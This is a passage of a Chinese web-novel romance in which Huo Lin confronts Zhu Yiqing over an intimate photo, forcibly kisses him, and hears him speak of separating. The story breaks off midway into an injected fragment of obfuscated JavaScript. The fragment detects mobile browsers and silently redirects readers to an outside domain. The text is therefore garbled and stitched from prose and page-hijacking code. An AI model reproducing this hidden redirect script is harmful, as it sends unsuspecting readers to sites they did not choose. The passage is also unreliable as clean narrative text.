霍粼抢走祝贻清的手机,生怕他真的把照片删得一干二净。 毕竟这是他和祝贻清三年来唯一的合照。 霍粼迅速点开相册的“最近删除”,想要恢复这张来之不易的照片。 忽地,他被“最近删除”里的另一张照片吸引了视线—— 照片中的主角并不是他和祝贻清,而是他和沈阅音。 举止亲密,胜似情侣。 22. 你不许走 这就是沈阅音所说的“自拍”? 沈阅音口口声声说会删掉这张照片,结果转眼就出现在了祝贻清的手机里。 到底是怎么回事,但凡是个有脑子的都能想明白。 奇怪的是,祝贻清收到了这张照片,居然什么都没说? 霍粼再抬眼撞上祝贻清的视线,有一种自己要彻底完蛋了的预感油然而生。 “找不到照片吗?”祝贻清没读懂alpha眼中的复杂情绪,“你实在想要的话,我再陪你拍一张就好了。” 霍粼喉头泛上一股酸涩,连开口都成了需要勇气的事情:“……你就没有别的事情想问我吗?” 关于沈阅音,关于照片,关于今夜的一切。 他全都可以解释。 “什么?”祝贻清疑惑。 霍粼忍不住提示他:“今天晚上我回霍家的事情,你没有什么具体想问的吗?” 祝贻清摇摇头:“你回去吃顿饭而已,我有什么好问的。” 他倒也没有黏人到这种程度。 霍粼紧握着手机,一时间竟说不出话。 手机屏幕还亮着,上面显示的照片无时无刻不在挑拨他的神经。 这张亲密照虽然是借位拍摄,但拍得那么亲昵,那么真实,祝贻清为什么会无动于衷呢? 就算omega再怎么相信他,至少也该提一嘴这张照片,而不是默默地删除,假装什么都没发生过,粉饰太平。 祝贻清见霍粼一直不动,意识到alpha或许是在他手机里看见什么了。 但他仔细回忆了一番,并不记得自己手机里有什么见不得人的东西。 “把手机还给我吧。”祝贻清伸出手,试图拿回自己的手机,却发现霍粼正用力攥着,他根本抢不回来,“……你到底怎么了?” 他软下嗓音,安抚道:“你是不是累了?累了就早点上楼休息吧。” 霍粼内心挣扎片刻,僵硬地把手机反过来,让祝贻清看屏幕上的照片。 他深呼吸一口气,委屈地问omega:“你明明看到照片了,为什么不问我?” 换位思考一下,假设他看见了祝贻清和别人的错位照片,无论他再怎么相信祝贻清,也不会装作无事发生。 “为什么要问?”祝贻清的视线刻意避开了屏幕上的照片。 他不想再去看那张照片,照片中沈阅音的笑脸还历历在目。他不明白alpha为什么能堂而皇之地举着照片质问他,这又不是他和别的alpha的亲密照。 什么时候连假装不知情也成了错误? 祝贻清以一种事不关己的姿态面对霍粼,仿佛一切都与他毫无关系,他脸上似乎是淡漠,又似乎是不屑,总之没有关心。 “你问我为什么?”霍粼不敢相信omega是这种态度,他急切地追问,“什么意思?你看见这张照片,连问都懒得问我一句吗?你到底是太相信我了,还是觉得这张照片是真的,所以没必要问我了?” 他的胸膛剧烈起伏,心脏也一阵一阵地抽着疼。 前几天祝贻清就说不想管他了,他还不相信,现在一看,祝贻清好像跟他玩真的。 如果祝贻清现在告诉他,不问他只是因为过分信任,他还能努力洗脑一下自己。 但如果祝贻清是真的觉得没必要问了,那他真的不知道要怎么办才好了。 万籁俱寂,屋内静可闻针。 在祝贻清不开口的时间里,每一秒都是煎熬。霍粼的胸口宛若加了一块巨石,让他动弹不得,亦喘不过气。 不知多久后,祝贻清终于开了口 不过他没有正面回答alpha的问题,而是轻声询问:“这也值得较真吗?” “不值得吗?你应该问我啊,问我今晚回霍家干什么了,现场都有谁,发生了什么事,为什么会有这张照片,是不是有什么误会!”霍粼紧盯着祝贻清,急促道,“你不是说你很喜欢我吗?那你为什么完全不问我?” “发生了什么你自己最清楚。”祝贻清冷冷道,“和别人有亲密照的是你,不是我,你没资格质问我。” “你一边说着相信我,一边又说我做了什么自己最清楚,祝贻清,你到底是信我还是不信我?”霍粼轻笑一声,“你不觉得你自己说的话逻辑相悖吗?” 面对alpha咄咄逼人的架势,祝贻清的第一反应是逃避。 “够了。”他后退一步,“别说了,我先回房间了。” “不许走!”霍粼眼疾手快地抓住他的手腕,用力将他拉了回来,“你不许走。” 祝贻清被拽得踉跄两步,才刚刚站稳,就被alpha急不可耐地抱住了。 alpha似乎怕他下一秒就跑掉了,用手臂把他箍得很紧。两人的身体亲密无间地靠在一起,他得以近距离看见alpha的眼睛。 可他来不及剖析更多,就被alpha护着脑袋推到了一旁的墙上。 祝贻清背后靠着冰冷的墙面,身前贴着alpha炙热的躯体。 高大的alpha低下头,明明说话时态度那么强势,接吻时却只剩下了小心翼翼。 祝贻清被霍粼按着亲了很长时间,灼热的呼吸交融在一起,他被吻得将近窒息,一边承受一边呜咽。 意识朦胧间,他拼尽全力才推开了alpha,给自己留出了一点喘息的空间。 祝贻清的唇瓣被吮得嫣红,他愠怒地问:“你到底想干什么?” “我只是不想你走。”霍粼偏执地开口,“我想你问我,你今天必须问我。” 祝贻清抬起头,毫不畏惧地迎上alpha的视线:“……好,那我现在问你一个问题。” “你问。” “你为什么这么在意我对你的态度?”祝贻清认真道,“你再这样的话,我真的会怀疑你喜欢我。” 霍粼下意识否认了:“你能不能不要自作多情,我怎么可能喜欢你!” “我当然知道你不喜欢我。”祝贻清的声音不大,但字字清晰,“所以我很好奇,既然你不喜欢我,为什么还要在乎我怎么想?” “我……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896617|176555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 其实霍粼反驳完就后悔了,他有时说话没过大脑,语出伤人,完全没有考虑到omega的感受。他不该这样的。 霍粼心底泛起一阵阵酸浪,嗓音渐渐低了下去:“你是不是生气了?” 祝贻清忽略掉他的问题:“把我的手机还给我。” 霍粼自知理亏,把手机还给了祝贻清:“我现在跟你解释,今天我妈叫我回老宅吃顿饭,根本没有提前告诉我会有别的omega。这张照片是他趁我不注意自己贴过来拍的,但是我很快就把他推开了,没有别的接触。” 祝贻清不以为意:“我没有生气,你不用跟我说这些。” “我也没有加他的联系方式,我今天除了让他离我远一点,一句多余的话都没跟他说。”霍粼以为他不相信自己,竭尽全力想要向他证明,“你要查我的手机吗?你可以查记录,我今天跟他是第一次见面,在此之前我从来没有跟他私联过。” 祝贻清拒绝了他的提议:“霍粼,你不要跟我解释了,我说过我不会再管你了。” “你还说你没有生气!”霍粼固执己见,“你就是生气了!你生气了,所以你不想管我了是不是?你别这样好不好……你还想问我什么吗,我都可以解释。” 比起祝贻清生气了,他更害怕的其实是祝贻清全然不在意他,这个有违常理的认知简直让他无法接受。 祝贻清会不在意他吗?祝贻清怎么可能不在意他?祝贻清明明最爱他! 祝贻清好无奈。 他已经说了自己不在乎、不想管,为什么全世界都觉得他特别特别在乎?为什么霍粼永远都听不明白他想要表达的意思,还要眼巴巴地凑上来? 见omega频繁沉默,霍粼越来越焦虑,他特意早点回家,是想听祝贻清说喜欢他,想和祝贻清多亲近一下,不是想跟祝贻清吵架。 不该是这样的。 “你肯定生我的气了。”霍粼积极复盘,祝贻清生气可能有两个原因,一是因为照片,二是因为他让祝贻清不要自作多情,他语气不好,大概率让祝贻清伤心了。 霍粼好想牵他的手,想让他不要难过:“……是因为我刚才说的话吗?对不起,全都是我的错,我以后再也不说那种话了,好不好?” “你不用道歉。” “可是我再不道歉你就真的不管我了!”霍粼怕到极点,应激道,“祝贻清,你能不能不要表现得什么都不在乎?你以前不是这样的,你是不是不喜欢我了,是不是想跟我分手了?!” 换作之前,霍粼这么一闹,祝贻清马上就会迁就他,笑着说怎么会呢,我最喜欢你。 霍粼就是笃定了祝贻清会吃这一套。 可这一次祝贻清沉默了很久。 久到霍粼开始紧张不安,开始自我怀疑,甚至想要生硬地转移话题。 墙上的分针又转过一圈。 这样寂静的时刻简直度秒如年。 “你不喜欢我,也没打算跟我有以后。”祝贻清终于开了口,嗓音凉薄,“霍粼,我们分开不是迟早的事吗?”